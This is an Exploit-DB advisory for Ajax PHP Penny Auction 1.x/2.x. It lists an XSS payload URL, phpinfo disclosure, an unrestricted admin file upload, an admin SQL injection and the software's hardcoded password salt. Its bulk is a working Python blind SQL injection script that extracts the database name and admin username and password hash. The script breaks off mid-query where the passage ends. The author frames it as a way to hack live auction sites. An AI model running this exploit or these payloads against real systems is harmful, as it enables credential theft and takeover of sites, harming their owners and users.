Exploit-DB #27521
Description: Ajax PHP Penny Auction 1.x 2.x - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-08-12
Author: Taha Hunter

Exploit:
################################################################################
#          Ajax PHP Penny Auction 1.x 2.x multiple Vulnerabilities             #
#                       Found by : Taha Hunter                                 #
#Info :                                                                		   #
#     Ajax PHP Penny Auction is one of the most proven and reliable            #
# Penny Auction software options available on the market. Based on a           #
#  proprietary AJAX Streaming Engine which has four years of                   #
#   refinement and debugging under its belt in real live site action.          #
#              	                                                               #
#																			   #
#           website : http://www.ajaxphppennyauction.com/                      #
################################################################################

XSS : 

http://[target]/forgotpasswd.php/"onmouseover='alert("XSS")'">

Phpinfo Information Disclosure :

http://[target]/phpinfo.php

Blind SQL Injection :

#!/usr/bin/pyhon
################################################################################
#																			   #
#	         Ajax PHP Penny Auction version 1.x 2.x maybe oders                #
#                  item.php Blind SQL Injection Exploit   	                   #
#		if you can not beat autoclickers bots ==> hack them ;)	   			   #
#					Found & Coded by : Taha Hunter							   #
#				By default there is a table suffix called					   #
#	  PHPAUCTIONXL_ added to all table names you can remove it if its needed   #
#		The Password is like  form md5($salt.$password)          			   #
#  the salt is hardcoded in /includes/config.inc.php by default its value is   #
#    $MD5_PREFIX = "This_Is_My_Random_String_For_The_MD5_Hash_Algorithm";      #
#																			   #
#File Upload :											    				   #
#if you get the admin password you can upload arbitrary files from 		       #
#http://[target]/admin/homepage.php there is no check for file extention	   #
#																			   #
#MySQL Integer SQLi :	                                                       #
#http://[target]/admin/userbidhistoryauctions.php?id=65'					   #
#you must first be logged as admin probably more vulnerablities still there..  #
#																			   #
#																		       #
# Usage : python ajaxphpa.py -u http://www.target.com/item.php?id=[a valid id] #
#																		       #
#																		       #
# 		Greetz to : Mehdi,Esac,Issam,Ali,Haitam,Imad and all friends ;)        #
#																		       #
#																		       #
#					Contact me : vastmerdown@gmail.com	        		       #
#																		       #
################################################################################


import urllib2
from threading import Thread
from time import sleep
from optparse import OptionParser
print "#######################################################################"
print "#                                                                     #"
print "#      Ajax PHP Penny Auction 1.x 2.x Blind SQL Injection Exploit     #"
print "#                                                                     #"
print "#             Found & Coded by : Taha Hunter                          #"
print "#                                                                     #"
print "#           Contact me : vastmerdown@gmail.com                        #"
print "#                                                                     #"
print "#python ajaxphpa.py -u http://www.target.com/item.php?id=[a valid id] #"
print "#                                                                     #"
print "#######################################################################"
print ""
print ""
name = ""
admin_user = ""
admin_password = ""
strinng=[]
def valid_test(url,type,val,sig):
	yep = urllib2.urlopen(url+type+sig+str(val)).read()
	if keyword in yep:
		return 1
	else:
		return 0

def start_guessing(url,type,guess_type):
		total = 0
		n_guess = 0
		fixer = 0
		max = 255
		string =""
		guess = int(max)/2
		while(total != 9):
			if(valid_test(url, type,guess, '>')):	
				fixer = guess
				n_guess = int(guess + ((max - fixer)/2))
			if(valid_test(url,type, guess, '<')):
				max = guess
				n_guess = int(guess - ((max - fixer)/2))
	 
			if(valid_test(url, type,guess, '=')):
				if guess_type == 'len':
					return guess
				if guess_type == 'ascii':
					return chr(guess)
			guess = n_guess
			total += 1
def loader(id,strinng,url,type,guess_type,lenn):
	strinng[id] =start_guessing(url,type,guess_type)
keyword = "item_watch.php?add="
db_len = "%20and%20Length((database()))"
usage = 'usage: %prog -u http://[target]/item.php?id=[a valid id]'
parser = OptionParser(usage=usage)
parser.add_option("-u", action="store", type="string", dest="url1", help='"http://[target]/item.php?id=1080"')
(options, args) = parser.parse_args()
if(options.url1):
	url = options.url1
else:
	print "[-] Please insert a valid URL !"
	exit()
print "[+] Connecting to site"
req = urllib2.urlopen(url).read()
if not keyword in req:
	print "[-] Please use a valide ID for the link !"
	exit()
''' #If you want to know DB Name
print "[+] Finding Database Name Length"
lenn = start_guessing(url,db_len,'len')
print "[+] DB length is ==> "+str(lenn)
print "[+] Finding Database Name"
for a in range(lenn):
		strinng.append('1337')
for i in range(1,lenn+1):
	db_name ="%20and%20ascii(substring((database())%2C"+str(i)+"%2C1))"
	Thread(target=loader,args=[i-1,strinng,url,db_name,'ascii',lenn]).start()
while '1337' in strinng:
	sleep(3)
	#print strinng #incomment this line if you want to see progression 
	continue
for i in range(len(strinng)):
	name += strinng[i]
print "[+] Database Name is ==> " + name
'''
un_len = "%20and%20Length((select%20username%20from%20PHPAU